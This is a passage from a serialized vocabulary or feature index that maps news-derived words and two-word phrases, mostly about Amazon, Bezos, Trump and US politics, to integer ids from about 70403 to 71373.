benzinga\": 70403,\n  \"firm mckinsey\": 70404,\n  \"honor donald\": 70405,\n  \"lists ami\": 70406,\n  \"hilton called\": 70407,\n  \"company owns\": 70408,\n  \"adam sharp\": 70409,\n  \"briandalynj\": 70410,\n  \"senate lead\": 70411,\n  \"evil fascism\": 70412,\n  \"trump immediately\": 70413,\n  \"living personal\": 70414,\n  \"levels false\": 70415,\n  \"soderstrom\": 70416,\n  \"altogether lasser\": 70417,\n  \"taking google\": 70418,\n  \"loss record\": 70419,\n  \"rays\": 70420,\n  \"year bringing\": 70421,\n  \"story ebay\": 70422,\n  \"nazi group\": 70423,\n  \"truth abramowitz\": 70424,\n  \"dinner table\": 70425,\n  \"sacha\": 70426,\n  \"business counterfeiting\": 70427,\n  \"public bidding\": 70428,\n  \"running scared\": 70429,\n  \"review proposes\": 70430,\n  \"seltzer amazon\": 70431,\n  \"story amd\": 70432,\n  \"guests include\": 70433,\n  \"currently banned\": 70434,\n  \"marketplace including\": 70435,\n  \"newman book\": 70436,\n  \"trump expanded\": 70437,\n  \"state editor\": 70438,\n  \"foot building\": 70439,\n  \"internet cafes\": 70440,\n  \"house philip\": 70441,\n  \"various software\": 70442,\n  \"low priority\": 70443,\n  \"quickly bounced\": 70444,\n  \"writers know\": 70445,\n  \"l5e\": 70446,\n  \"injured bus\": 70447,\n  \"styles varieties\": 70448,\n  \"sanchez really\": 70449,\n  \"siena college\": 70450,\n  \"elizabeth meriwether\": 70451,\n  \"nature eventually\": 70452,\n  \"tim brown\": 70453,\n  \"khashoggi life\": 70454,\n  \"today sources\": 70455,\n  \"stardom continue\": 70456,\n  \"photos switzerland\": 70457,\n  \"murdoch threatened\": 70458,\n  \"entrenched merchants\": 70459,\n  \"bezos congratulating\": 70460,\n  \"presidential field\": 70461,\n  \"false reports\": 70462,\n  \"subpoena mueller\": 70463,\n  \"7636\": 70464,\n  \"equity group\": 70465,\n  \"islands gop\": 70466,\n  \"courier companies\": 70467,\n  \"remove fake\": 70468,\n  \"cell line\": 70469,\n  \"despite evidence\": 70470,\n  \"counterattacks\": 70471,\n  \"durkan\": 70472,\n  \"penis\": 70473,\n  \"credited commerce\": 70474,\n  \"pain heartbreaking\": 70475,\n  \"sandwich\": 70476,\n  \"interrupts biden\": 70477,\n  \"infeasible\": 70478,\n  \"offering black\": 70479,\n  \"delivery cnbc\": 70480,\n  \"payer reserve\": 70481,\n  \"cancels\": 70482,\n  \"murdered preteen\": 70483,\n  \"particularly lucrative\": 70484,\n  \"wolff tucker\": 70485,\n  \"million daily\": 70486,\n  \"evening trump\": 70487,\n  \"amazon economic\": 70488,\n  \"spanish origin\": 70489,\n  \"ttery\": 70490,\n  \"ellipsis\": 70491,\n  \"rashida\": 70492,\n  \"mccain hats\": 70493,\n  \"hours deputy\": 70494,\n  \"china avoid\": 70495,\n  \"expectations presumably\": 70496,\n  \"trump john\": 70497,\n  \"material hack\": 70498,\n  \"extreme poirer\": 70499,\n  \"post wedding\": 70500,\n  \"labor statistics\": 70501,\n  \"facebook password\": 70502,\n  \"immortalized\": 70503,\n  \"people stand\": 70504,\n  \"rogue memoir\": 70505,\n  \"loud racism\": 70506,\n  \"cuban officials\": 70507,\n  \"blackmail\": 70508,\n  \"tech figures\": 70509,\n  \"crookedhillary according\": 70510,\n  \"canals near\": 70511,\n  \"voting trends\": 70512,\n  \"retail rivals\": 70513,\n  \"tornadoes community\": 70514,\n  \"today vote\": 70515,\n  \"respecting\": 70516,\n  \"author howie\": 70517,\n  \"post condemning\": 70518,\n  \"mega stock\": 70519,\n  \"restraints needed\": 70520,\n  \"makers paul\": 70521,\n  \"poll results\": 70522,\n  \"yvonne\": 70523,\n  \"fraternal\": 70524,\n  \"women stockpile\": 70525,\n  \"fintechs offering\": 70526,\n  \"behaviours\": 70527,\n  \"agencies modernize\": 70528,\n  \"allegedly separated\": 70529,\n  \"private groups\": 70530,\n  \"lose access\": 70531,\n  \"amazon practices\": 70532,\n  \"cured\": 70533,\n  \"banks trims\": 70534,\n  \"astoria residents\": 70535,\n  \"reactid 166\": 70536,\n  \"clarkin4\": 70537,\n  \"publicly doubting\": 70538,\n  \"report things\": 70539,\n  \"777\": 70540,\n  \"fevered\": 70541,\n  \"available levers\": 70542,\n  \"biotherapeutics\": 70543,\n  \"receives\": 70544,\n  \"nonmainstream\": 70545,\n  \"trumps news\": 70546,\n  \"autoplay\": 70547,\n  \"romm reports\": 70548,\n  \"enhanced\": 70549,\n  \"state incentive\": 70550,\n  \"york virginia\": 70551,\n  \"latest heartbreaking\": 70552,\n  \"big wave\": 70553,\n  \"infiltrating cleaning\": 70554,\n  \"fiber\": 70555,\n  \"withering\": 70556,\n  \"grounds says\": 70557,\n  \"computing government\": 70558,\n  \"president opinions\": 70559,\n  \"adversely affect\": 70560,\n  \"earlier today\": 70561,\n  \"subscription program\": 70562,\n  \"worded tweet\": 70563,\n  \"tools small\": 70564,\n  \"echo home\": 70565,\n  \"committee awaits\": 70566,\n  \"suffering wife\": 70567,\n  \"mcdonald walmart\": 70568,\n  \"salke finds\": 70569,\n  \"eve newfoundland\": 70570,\n  \"military writing\": 70571,\n  \"absent incentives\": 70572,\n  \"carlos brito\": 70573,\n  \"pig cell\": 70574,\n  \"media company\": 70575,\n  \"innovation artificial\": 70576,\n  \"despising jeff\": 70577,\n  \"pen international\": 70578,\n  \"government punishing\": 70579,\n  \"national donut\": 70580,\n  \"therapies\": 70581,\n  \"ingredient\": 70582,\n  \"controversy michigan\": 70583,\n  \"regularly railed\": 70584,\n  \"doesn raise\": 70585,\n  \"img_pan_crop\": 70586,\n  \"pro zach\": 70587,\n  \"carell latest\": 70588,\n  \"france trump\": 70589,\n  \"498\": 70590,\n  \"promise wage\": 70591,\n  \"democratic congressman\": 70592,\n  \"possible commissioners\": 70593,\n  \"today nov\": 70594,\n  \"intelligence agency\": 70595,\n  \"korea leave\": 70596,\n  \"good behavior\": 70597,\n  \"misconduct allegations\": 70598,\n  \"impugn\": 70599,\n  \"tom hardy\": 70600,\n  \"hold emergency\": 70601,\n  \"davis matt\": 70602,\n  \"rean contract\": 70603,\n  \"small american\": 70604,\n  \"amazon competitors\": 70605,\n  \"economic consultant\": 70606,\n  \"7ctwgr\": 70607,\n  \"bezos tweets\": 70608,\n  \"homosexuals\": 70609,\n  \"ibrahim walks\": 70610,\n  \"actual\": 70611,\n  \"signed contract\": 70612,\n  \"complex issue\": 70613,\n  \"pam secretly\": 70614,\n  \"1m75ubx\": 70615,\n  \"underserved\": 70616,\n  \"323\": 70617,\n  \"criminal understand\": 70618,\n  \"funding fever\": 70619,\n  \"net edvard\": 70620,\n  \"brrrrr\": 70621,\n  \"ty7ecxvokl\": 70622,\n  \"innovation economy\": 70623,\n  \"frazier alerts\": 70624,\n  \"nycedc report\": 70625,\n  \"saying good\": 70626,\n  \"mass illegal\": 70627,\n  \"service wrote\": 70628,\n  \"tabloid revealed\": 70629,\n  \"cond\\u00e9 nast\": 70630,\n  \"moscow visit\": 70631,\n  \"misleading adding\": 70632,\n  \"workers benefits\": 70633,\n  \"broadside\": 70634,\n  \"looks lot\": 70635,\n  \"benefits medicaid\": 70636,\n  \"technology president\": 70637,\n  \"analyst suggested\": 70638,\n  \"dozen members\": 70639,\n  \"emotional rollercoaster\": 70640,\n  \"legal jousting\": 70641,\n  \"vets unique\": 70642,\n  \"sheryl ziegler\": 70643,\n  \"quest diagnostics\": 70644,\n  \"fueling intelligent\": 70645,\n  \"dod details\": 70646,\n  \"management\": 70647,\n  \"prosecutor used\": 70648,\n  \"brasil\": 70649,\n  \"manson amazon\": 70650,\n  \"journal employees\": 70651,\n  \"capital plan\": 70652,\n  \"sanders hit\": 70653,\n  \"given metapack\": 70654,\n  \"partners lobbying\": 70655,\n  \"ftc commissioners\": 70656,\n  \"positive working\": 70657,\n  \"4th session\": 70658,\n  \"completely wrong\": 70659,\n  \"reuters president\": 70660,\n  \"offering wage\": 70661,\n  \"adamis pharmaceuticals\": 70662,\n  \"bushwick houses\": 70663,\n  \"attract premiere\": 70664,\n  \"police following\": 70665,\n  \"pike yadkinville\": 70666,\n  \"data scandals\": 70667,\n  \"somebody needs\": 70668,\n  \"null inc_custom_javascript\": 70669,\n  \"1047et\": 70670,\n  \"j0 r4ee\": 70671,\n  \"brennan\": 70672,\n  \"program includes\": 70673,\n  \"hindrance\": 70674,\n  \"costly saga\": 70675,\n  \"exaggeration infiltrated\": 70676,\n  \"amazon hanes\": 70677,\n  \"sanders skewered\": 70678,\n  \"lead shadow\": 70679,\n  \"excess tissue\": 70680,\n  \"seung min\": 70681,\n  \"pecker scandal\": 70682,\n  \"house battlegrounds\": 70683,\n  \"amazon couple\": 70684,\n  \"chicagoland chamber\": 70685,\n  \"impacting\": 70686,\n  \"based journalist\": 70687,\n  \"overrun\": 70688,\n  \"business writer\": 70689,\n  \"media articles\": 70690,\n  \"plan praises\": 70691,\n  \"particular mood\": 70692,\n  \"prc\": 70693,\n  \"books hanson\": 70694,\n  \"dylan farrow\": 70695,\n  \"exposes\": 70696,\n  \"digital marketplaces\": 70697,\n  \"banning suspended\": 70698,\n  \"association dima\": 70699,\n  \"china commerce\": 70700,\n  \"disdainfully dismissed\": 70701,\n  \"impacts\": 70702,\n  \"investigation john\": 70703,\n  \"picking online\": 70704,\n  \"reassure markets\": 70705,\n  \"black voters\": 70706,\n  \"gmt california\": 70707,\n  \"credit amazon\": 70708,\n  \"bezos enquirer\": 70709,\n  \"makes cleaning\": 70710,\n  \"target data\": 70711,\n  \"marc morial\": 70712,\n  \"pagey clientx\": 70713,\n  \"tidbits alongside\": 70714,\n  \"amazon path\": 70715,\n  \"usually visit\": 70716,\n  \"kol ami\": 70717,\n  \"bankruptcy law\": 70718,\n  \"bribe amazon\": 70719,\n  \"andy ferguson\": 70720,\n  \"lowe low\": 70721,\n  \"avandermey bloomberg\": 70722,\n  \"trust barometer\": 70723,\n  \"shaping policy\": 70724,\n  \"amazon sites\": 70725,\n  \"cascade\": 70726,\n  \"economic pressures\": 70727,\n  \"supported obama\": 70728,\n  \"help reduce\": 70729,\n  \"citywide official\": 70730,\n  \"alphabet currently\": 70731,\n  \"month investigation\": 70732,\n  \"kansas\": 70733,\n  \"nyt james\": 70734,\n  \"lacking regulations\": 70735,\n  \"g0 u0\": 70736,\n  \"local talent\": 70737,\n  \"commerce merchants\": 70738,\n  \"played inside\": 70739,\n  \"episodes live\": 70740,\n  \"canada agreement\": 70741,\n  \"domestic priority\": 70742,\n  \"information request\": 70743,\n  \"probably finding\": 70744,\n  \"article frames\": 70745,\n  \"trump ami\": 70746,\n  \"554\": 70747,\n  \"america indicating\": 70748,\n  \"iran foreign\": 70749,\n  \"questionnaires\": 70750,\n  \"lovey\": 70751,\n  \"punish specific\": 70752,\n  \"addabbo member\": 70753,\n  \"key campaign\": 70754,\n  \"historic tenure\": 70755,\n  \"largest pot\": 70756,\n  \"tacitly\": 70757,\n  \"analysts paul\": 70758,\n  \"minister narendra\": 70759,\n  \"buying target\": 70760,\n  \"gold chain\": 70761,\n  \"rented\": 70762,\n  \"role effective\": 70763,\n  \"tweeted google\": 70764,\n  \"airpower\": 70765,\n  \"release includes\": 70766,\n  \"transgender community\": 70767,\n  \"theborder\": 70768,\n  \"complacency\": 70769,\n  \"volume ratio\": 70770,\n  \"scalia\": 70771,\n  \"public security\": 70772,\n  \"possible transportation\": 70773,\n  \"avoiding sales\": 70774,\n  \"total usps\": 70775,\n  \"schapperts\": 70776,\n  \"term catalyst\": 70777,\n  \"personnel read\": 70778,\n  \"group operation\": 70779,\n  \"stock splits\": 70780,\n  \"blustery\": 70781,\n  \"bezos closed\": 70782,\n  \"government computing\": 70783,\n  \"example trump\": 70784,\n  \"wrong guy\": 70785,\n  \"decorated journalists\": 70786,\n  \"kaplan\": 70787,\n  \"war veteran\": 70788,\n  \"washington insiders\": 70789,\n  \"insurer\": 70790,\n  \"model allows\": 70791,\n  \"include human\": 70792,\n  \"ridgewood older\": 70793,\n  \"state charges\": 70794,\n  \"media warren\": 70795,\n  \"stencils\": 70796,\n  \"operating profits\": 70797,\n  \"west exasperatedly\": 70798,\n  \"favorite mystery\": 70799,\n  \"destroyed brick\": 70800,\n  \"curation\": 70801,\n  \"dozen warehouse\": 70802,\n  \"watt\": 70803,\n  \"sprawling 850\": 70804,\n  \"democratic challengers\": 70805,\n  \"treaty amazon\": 70806,\n  \"combat homelessness\": 70807,\n  \"relabeling\": 70808,\n  \"bolton deputy\": 70809,\n  \"zeid raad\": 70810,\n  \"presale best\": 70811,\n  \"business instincts\": 70812,\n  \"wants enchancment\": 70813,\n  \"pontificating\": 70814,\n  \"greater confidence\": 70815,\n  \"homeowners valari\": 70816,\n  \"references\": 70817,\n  \"coming nomination\": 70818,\n  \"sneeze\": 70819,\n  \"assess taxes\": 70820,\n  \"reporter multiple\": 70821,\n  \"toilet tissue\": 70822,\n  \"president narrative\": 70823,\n  \"fordham\": 70824,\n  \"weapon works\": 70825,\n  \"isn pie\": 70826,\n  \"campaign chair\": 70827,\n  \"infuriated\": 70828,\n  \"enquirer calls\": 70829,\n  \"state hands\": 70830,\n  \"allocate billions\": 70831,\n  \"tom budescu\": 70832,\n  \"cortana\": 70833,\n  \"border deal\": 70834,\n  \"straight quarter\": 70835,\n  \"democrats subpoenas\": 70836,\n  \"men jimmy\": 70837,\n  \"unfamiliarity\": 70838,\n  \"tax according\": 70839,\n  \"words thank\": 70840,\n  \"gross state\": 70841,\n  \"courthouse\": 70842,\n  \"reddick jr\": 70843,\n  \"tells savannah\": 70844,\n  \"company european\": 70845,\n  \"specialty software\": 70846,\n  \"denouncing president\": 70847,\n  \"brazil ricardo\": 70848,\n  \"leading\": 70849,\n  \"corp nvda\": 70850,\n  \"results little\": 70851,\n  \"making business\": 70852,\n  \"directive\": 70853,\n  \"pole\": 70854,\n  \"aobiome\": 70855,\n  \"fated russian\": 70856,\n  \"marriage equality\": 70857,\n  \"birtherism\": 70858,\n  \"company raised\": 70859,\n  \"industry lobbyist\": 70860,\n  \"sale including\": 70861,\n  \"grand alliance\": 70862,\n  \"royalty mnuchin\": 70863,\n  \"rewriting cra\": 70864,\n  \"released number\": 70865,\n  \"minerd\": 70866,\n  \"harness\": 70867,\n  \"youtube automated\": 70868,\n  \"meadows\": 70869,\n  \"regulation gdpr\": 70870,\n  \"hq2 locations\": 70871,\n  \"railroad giant\": 70872,\n  \"office limited\": 70873,\n  \"homes planning\": 70874,\n  \"2019 vertical\": 70875,\n  \"television studio\": 70876,\n  \"bezos think\": 70877,\n  \"best judgment\": 70878,\n  \"order catalog\": 70879,\n  \"zuckerberg\": 70880,\n  \"john woman\": 70881,\n  \"refocus\": 70882,\n  \"patting\": 70883,\n  \"nasdaq cmcsa\": 70884,\n  \"counterprotesters\": 70885,\n  \"downgrading\": 70886,\n  \"minors\": 70887,\n  \"antibiotic policies\": 70888,\n  \"elections job\": 70889,\n  \"jedi weapon\": 70890,\n  \"listthe\": 70891,\n  \"long night\": 70892,\n  \"transmitted displayed\": 70893,\n  \"candour isn\": 70894,\n  \"troubled actor\": 70895,\n  \"cult scandal\": 70896,\n  \"democracy maria\": 70897,\n  \"gumball\": 70898,\n  \"policy requiring\": 70899,\n  \"hardware appears\": 70900,\n  \"available office\": 70901,\n  \"single mom\": 70902,\n  \"matured\": 70903,\n  \"raise healthier\": 70904,\n  \"media accounts\": 70905,\n  \"divorce clouds\": 70906,\n  \"workers voice\": 70907,\n  \"state spends\": 70908,\n  \"farts\": 70909,\n  \"abramson did\": 70910,\n  \"pre publication\": 70911,\n  \"intriguing premise\": 70912,\n  \"receive future\": 70913,\n  \"administration today\": 70914,\n  \"congresswoman\": 70915,\n  \"makes public\": 70916,\n  \"steal photos\": 70917,\n  \"man magical\": 70918,\n  \"memo navarro\": 70919,\n  \"immigrant justice\": 70920,\n  \"hybrid airship\": 70921,\n  \"accumulated 000\": 70922,\n  \"pharmaceuticals tse\": 70923,\n  \"willy nilly\": 70924,\n  \"boulder colorado\": 70925,\n  \"commissioner vestager\": 70926,\n  \"offers wide\": 70927,\n  \"transportation study\": 70928,\n  \"aws lambda\": 70929,\n  \"democrats confident\": 70930,\n  \"onesie swastika\": 70931,\n  \"wrote story\": 70932,\n  \"mijente representatives\": 70933,\n  \"chose really\": 70934,\n  \"enter campaign\": 70935,\n  \"companies forte\": 70936,\n  \"create separate\": 70937,\n  \"102m\": 70938,\n  \"classical stage\": 70939,\n  \"daedalus\": 70940,\n  \"publication 23m\": 70941,\n  \"debunk false\": 70942,\n  \"bkconnection\": 70943,\n  \"taxpayers having\": 70944,\n  \"illegally omar\": 70945,\n  \"alternative trade\": 70946,\n  \"leading role\": 70947,\n  \"america awesome\": 70948,\n  \"caller saul\": 70949,\n  \"ultimately ended\": 70950,\n  \"shoot gun\": 70951,\n  \"nail polish\": 70952,\n  \"lists number\": 70953,\n  \"amazon upgrade\": 70954,\n  \"year cnbcaround\": 70955,\n  \"world changes\": 70956,\n  \"656 million\": 70957,\n  \"great retirement\": 70958,\n  \"land deal\": 70959,\n  \"grates\": 70960,\n  \"7521\": 70961,\n  \"yankees pitcher\": 70962,\n  \"warehous\": 70963,\n  \"vast network\": 70964,\n  \"proposed steel\": 70965,\n  \"xom reported\": 70966,\n  \"store forcing\": 70967,\n  \"bork interpretation\": 70968,\n  \"championed\": 70969,\n  \"ye hear\": 70970,\n  \"typically protect\": 70971,\n  \"democratic politics\": 70972,\n  \"court associate\": 70973,\n  \"amazonphone\": 70974,\n  \"1tn\": 70975,\n  \"app guides\": 70976,\n  \"pessimism amazon\": 70977,\n  \"obviously giant\": 70978,\n  \"population people\": 70979,\n  \"just scared\": 70980,\n  \"investments blossom\": 70981,\n  \"620\": 70982,\n  \"proof resolution\": 70983,\n  \"wait wait\": 70984,\n  \"post continues\": 70985,\n  \"2017 inclusive\": 70986,\n  \"carousel carousel\": 70987,\n  \"new owner\": 70988,\n  \"links vulture\": 70989,\n  \"year privacy\": 70990,\n  \"counties states\": 70991,\n  \"campaign urging\": 70992,\n  \"marks llc\": 70993,\n  \"trying jeff\": 70994,\n  \"free hand\": 70995,\n  \"history tag\": 70996,\n  \"jamal\": 70997,\n  \"2014elections causing\": 70998,\n  \"taxes yes\": 70999,\n  \"snowden documents\": 71000,\n  \"dow poised\": 71001,\n  \"regulators decide\": 71002,\n  \"wage regardless\": 71003,\n  \"account defends\": 71004,\n  \"surprising things\": 71005,\n  \"shoulder princess\": 71006,\n  \"aerial shots\": 71007,\n  \"unsparing\": 71008,\n  \"photographer sofia\": 71009,\n  \"jester cap\": 71010,\n  \"members looking\": 71011,\n  \"series starring\": 71012,\n  \"bear grylls\": 71013,\n  \"raakhee mirchandani\": 71014,\n  \"officials bezos\": 71015,\n  \"diluted share\": 71016,\n  \"seriously amazon\": 71017,\n  \"rife\": 71018,\n  \"sheep\": 71019,\n  \"global coffee\": 71020,\n  \"popular chef\": 71021,\n  \"includes hundreds\": 71022,\n  \"local investments\": 71023,\n  \"leaked excerpt\": 71024,\n  \"false state\": 71025,\n  \"disastrous decisions\": 71026,\n  \"travel work\": 71027,\n  \"given preferential\": 71028,\n  \"factor china\": 71029,\n  \"babies separated\": 71030,\n  \"blast features\": 71031,\n  \"predicament saying\": 71032,\n  \"joe nocera\": 71033,\n  \"adult title\": 71034,\n  \"helped amplify\": 71035,\n  \"boyce\": 71036,\n  \"enemies pic\": 71037,\n  \"slowing iphone\": 71038,\n  \"driehaus capital\": 71039,\n  \"called united\": 71040,\n  \"exacts\": 71041,\n  \"amzn nearly\": 71042,\n  \"distort\": 71043,\n  \"revenue impacting\": 71044,\n  \"cuomo blaming\": 71045,\n  \"spyware\": 71046,\n  \"jessie\": 71047,\n  \"dictators sen\": 71048,\n  \"subsequent election\": 71049,\n  \"data trump\": 71050,\n  \"company prepares\": 71051,\n  \"deal follow\": 71052,\n  \"government gridlock\": 71053,\n  \"reporting project\": 71054,\n  \"online marketplaces\": 71055,\n  \"competitors taking\": 71056,\n  \"does weigh\": 71057,\n  \"popular reading\": 71058,\n  \"ifixit\": 71059,\n  \"amazon involvement\": 71060,\n  \"hate amazon\": 71061,\n  \"public events\": 71062,\n  \"china joel\": 71063,\n  \"blanket\": 71064,\n  \"image 0x734\": 71065,\n  \"veering\": 71066,\n  \"commercialization efforts\": 71067,\n  \"outside brazil\": 71068,\n  \"accentuated\": 71069,\n  \"city transit\": 71070,\n  \"news manipulates\": 71071,\n  \"competitive effects\": 71072,\n  \"drop tv\": 71073,\n  \"copyright restrictions\": 71074,\n  \"friendly government\": 71075,\n  \"pounds build\": 71076,\n  \"investors 98point6\": 71077,\n  \"sellers los\": 71078,\n  \"underlying ip\": 71079,\n  \"mobile ala\": 71080,\n  \"decker paul\": 71081,\n  \"thucydides\": 71082,\n  \"weise goodman\": 71083,\n  \"starter kit\": 71084,\n  \"connect women\": 71085,\n  \"report entitled\": 71086,\n  \"2018 factoring\": 71087,\n  \"approximately 386\": 71088,\n  \"tara prakriya\": 71089,\n  \"employer katherine\": 71090,\n  \"cellular phones\": 71091,\n  \"growers\": 71092,\n  \"scott pelley\": 71093,\n  \"diet soda\": 71094,\n  \"news broadcasts\": 71095,\n  \"involving wrongful\": 71096,\n  \"backlash amazon\": 71097,\n  \"volcano\": 71098,\n  \"news feb\": 71099,\n  \"democracy needs\": 71100,\n  \"killam snl\": 71101,\n  \"cronyism corruption\": 71102,\n  \"city astoria\": 71103,\n  \"supported president\": 71104,\n  \"pushing daisies\": 71105,\n  \"old widow\": 71106,\n  \"important sources\": 71107,\n  \"obama 2018\": 71108,\n  \"finn check\": 71109,\n  \"observe international\": 71110,\n  \"kerry dolan\": 71111,\n  \"automaker gm\": 71112,\n  \"terrifying flying\": 71113,\n  \"eu subsidies\": 71114,\n  \"new levels\": 71115,\n  \"planned offices\": 71116,\n  \"amazon position\": 71117,\n  \"companies terribly\": 71118,\n  \"people utterly\": 71119,\n  \"comas\": 71120,\n  \"whitesell executive\": 71121,\n  \"numbers don\": 71122,\n  \"anti amazon\": 71123,\n  \"preview seeking\": 71124,\n  \"preemptive killing\": 71125,\n  \"offered new\": 71126,\n  \"stopped prosecuting\": 71127,\n  \"kicker ideas\": 71128,\n  \"cranston\": 71129,\n  \"kentucky republican\": 71130,\n  \"advocate\": 71131,\n  \"federal foreign\": 71132,\n  \"chief market\": 71133,\n  \"trump wishes\": 71134,\n  \"fato did\": 71135,\n  \"companies shift\": 71136,\n  \"counsel report\": 71137,\n  \"carousels including\": 71138,\n  \"nixon look\": 71139,\n  \"carlton reed\": 71140,\n  \"trust subscribe\": 71141,\n  \"congressman thomas\": 71142,\n  \"short sellers\": 71143,\n  \"consistently rails\": 71144,\n  \"tour bus\": 71145,\n  \"accidental death\": 71146,\n  \"meghan sulllivan\": 71147,\n  \"ami chief\": 71148,\n  \"acn shares\": 71149,\n  \"did appear\": 71150,\n  \"counteract\": 71151,\n  \"changes happen\": 71152,\n  \"healthy dose\": 71153,\n  \"dangers lurking\": 71154,\n  \"probe launched\": 71155,\n  \"kiely eugene\": 71156,\n  \"news ny1\": 71157,\n  \"far outstripped\": 71158,\n  \"expectations associated\": 71159,\n  \"deliver revenue\": 71160,\n  \"spreading misleading\": 71161,\n  \"humanity\": 71162,\n  \"overtime ahead\": 71163,\n  \"talk trump\": 71164,\n  \"abbe lowell\": 71165,\n  \"police rapid\": 71166,\n  \"month ended\": 71167,\n  \"family aaron\": 71168,\n  \"nvda\": 71169,\n  \"significant lobbying\": 71170,\n  \"ubhi involvement\": 71171,\n  \"homeowners affected\": 71172,\n  \"erictrump\": 71173,\n  \"picture highlights\": 71174,\n  \"says merrill\": 71175,\n  \"boys condemned\": 71176,\n  \"current job\": 71177,\n  \"related jobs\": 71178,\n  \"shoulders wapo\": 71179,\n  \"ge new\": 71180,\n  \"including beef\": 71181,\n  \"significance icann\": 71182,\n  \"define gender\": 71183,\n  \"10bil\": 71184,\n  \"patient pain\": 71185,\n  \"documents released\": 71186,\n  \"moral duty\": 71187,\n  \"northern irishman\": 71188,\n  \"unfair evaluations\": 71189,\n  \"trajectory common\": 71190,\n  \"mall\": 71191,\n  \"accommodate governmental\": 71192,\n  \"kavanaugh rosenstein\": 71193,\n  \"quicken loans\": 71194,\n  \"fox think\": 71195,\n  \"factors barclays\": 71196,\n  \"helped lift\": 71197,\n  \"ops leadership\": 71198,\n  \"court ideological\": 71199,\n  \"uprooted\": 71200,\n  \"cruising america\": 71201,\n  \"annual costs\": 71202,\n  \"coo days\": 71203,\n  \"german men\": 71204,\n  \"sell homes\": 71205,\n  \"anthony carrino\": 71206,\n  \"enormous profit\": 71207,\n  \"aviation analyst\": 71208,\n  \"pays state\": 71209,\n  \"storage external\": 71210,\n  \"old aborted\": 71211,\n  \"rhetoric threat\": 71212,\n  \"tipping\": 71213,\n  \"runner\": 71214,\n  \"future conversations\": 71215,\n  \"stephenson campaign\": 71216,\n  \"coincides\": 71217,\n  \"inadequate public\": 71218,\n  \"nick jonas\": 71219,\n  \"nationwide\": 71220,\n  \"595\": 71221,\n  \"smeared\": 71222,\n  \"york dow\": 71223,\n  \"fatally shot\": 71224,\n  \"people spend\": 71225,\n  \"certainly hand\": 71226,\n  \"operations trump\": 71227,\n  \"race related\": 71228,\n  \"spur successful\": 71229,\n  \"recommends changes\": 71230,\n  \"impatience\": 71231,\n  \"unknown read\": 71232,\n  \"work proclaimed\": 71233,\n  \"deliver brand\": 71234,\n  \"productive trade\": 71235,\n  \"amazon pretty\": 71236,\n  \"chlo\\u00eb grace\": 71237,\n  \"world google\": 71238,\n  \"therapies training\": 71239,\n  \"repaid\": 71240,\n  \"chester talked\": 71241,\n  \"solalinde center\": 71242,\n  \"study defines\": 71243,\n  \"university tuition\": 71244,\n  \"land invasions\": 71245,\n  \"arizona hauled\": 71246,\n  \"tillman\": 71247,\n  \"leading indicator\": 71248,\n  \"stars mitch\": 71249,\n  \"inspiring\": 71250,\n  \"sole voting\": 71251,\n  \"robert bradshaw\": 71252,\n  \"trump jamal\": 71253,\n  \"landmark 1tn\": 71254,\n  \"retina font\": 71255,\n  \"cadillac according\": 71256,\n  \"corporations dutifully\": 71257,\n  \"pot republicans\": 71258,\n  \"bi worked\": 71259,\n  \"kollmeyer\": 71260,\n  \"fox michael\": 71261,\n  \"men parents\": 71262,\n  \"somewhat softer\": 71263,\n  \"museum labs\": 71264,\n  \"leadership asking\": 71265,\n  \"merely convey\": 71266,\n  \"income rose\": 71267,\n  \"gandel turkey\": 71268,\n  \"enquirer pushed\": 71269,\n  \"great affiliate\": 71270,\n  \"microsoft won\": 71271,\n  \"backdrop press\": 71272,\n  \"mortar presence\": 71273,\n  \"provide impetus\": 71274,\n  \"robert franek\": 71275,\n  \"aim\": 71276,\n  \"received reassurance\": 71277,\n  \"utah muse\": 71278,\n  \"day layfield\": 71279,\n  \"instagram skews\": 71280,\n  \"summit india\": 71281,\n  \"alliances\": 71282,\n  \"president behavior\": 71283,\n  \"history cigna\": 71284,\n  \"vertigo comic\": 71285,\n  \"president wasobstructing\": 71286,\n  \"deputies\": 71287,\n  \"people dead\": 71288,\n  \"engineers\": 71289,\n  \"separation read\": 71290,\n  \"suggest altering\": 71291,\n  \"story arkansas\": 71292,\n  \"bank meets\": 71293,\n  \"slammed reporter\": 71294,\n  \"vanguard communication\": 71295,\n  \"mind wouldn\": 71296,\n  \"prosecutor ken\": 71297,\n  \"hardware hacks\": 71298,\n  \"spend hundreds\": 71299,\n  \"took aim\": 71300,\n  \"seizure\": 71301,\n  \"democrats stephen\": 71302,\n  \"electronics brand\": 71303,\n  \"journalists justice\": 71304,\n  \"howard people\": 71305,\n  \"firebrand style\": 71306,\n  \"innocent person\": 71307,\n  \"america accused\": 71308,\n  \"yearns\": 71309,\n  \"big successes\": 71310,\n  \"standard deduction\": 71311,\n  \"elderly singaporean\": 71312,\n  \"campaign law\": 71313,\n  \"rawal\": 71314,\n  \"lendio reports\": 71315,\n  \"release\": 71316,\n  \"doubleday soothing\": 71317,\n  \"smarter living\": 71318,\n  \"verdad\": 71319,\n  \"notoriously hard\": 71320,\n  \"shipping programs\": 71321,\n  \"newsom claim\": 71322,\n  \"sanders ranged\": 71323,\n  \"associated\": 71324,\n  \"election campaign\": 71325,\n  \"iphone revenue\": 71326,\n  \"target communities\": 71327,\n  \"just wrong\": 71328,\n  \"mariner\": 71329,\n  \"appeal board\": 71330,\n  \"steadfastly anti\": 71331,\n  \"faced increasing\": 71332,\n  \"51554473329\": 71333,\n  \"software okta\": 71334,\n  \"clamp\": 71335,\n  \"tropicana\": 71336,\n  \"brian thank\": 71337,\n  \"shelves block\": 71338,\n  \"amazon face\": 71339,\n  \"emergency 2019\": 71340,\n  \"commission operate\": 71341,\n  \"increased 300\": 71342,\n  \"started asking\": 71343,\n  \"profits politically\": 71344,\n  \"costs featured\": 71345,\n  \"mansion selfie\": 71346,\n  \"day guide\": 71347,\n  \"gundlach\": 71348,\n  \"enquire\": 71349,\n  \"suisse proves\": 71350,\n  \"getting millions\": 71351,\n  \"beat earnings\": 71352,\n  \"elections consumers\": 71353,\n  \"equivalents wireless\": 71354,\n  \"reward\": 71355,\n  \"withdrew plans\": 71356,\n  \"amazon divorce\": 71357,\n  \"onborder\": 71358,\n  \"remote led\": 71359,\n  \"paying far\": 71360,\n  \"amazon dealings\": 71361,\n  \"takes issue\": 71362,\n  \"benchmarks performing\": 71363,\n  \"release compromising\": 71364,\n  \"servicing\": 71365,\n  \"940\": 71366,\n  \"counsel website\": 71367,\n  \"amazon value\": 71368,\n  \"deprive rick\": 71369,\n  \"spinoff\": 71370,\n  \"computer keyboards\": 71371,\n  \"europe president\": 71372,\n  \"loser today\": 71373,\n  \"loses bid\": 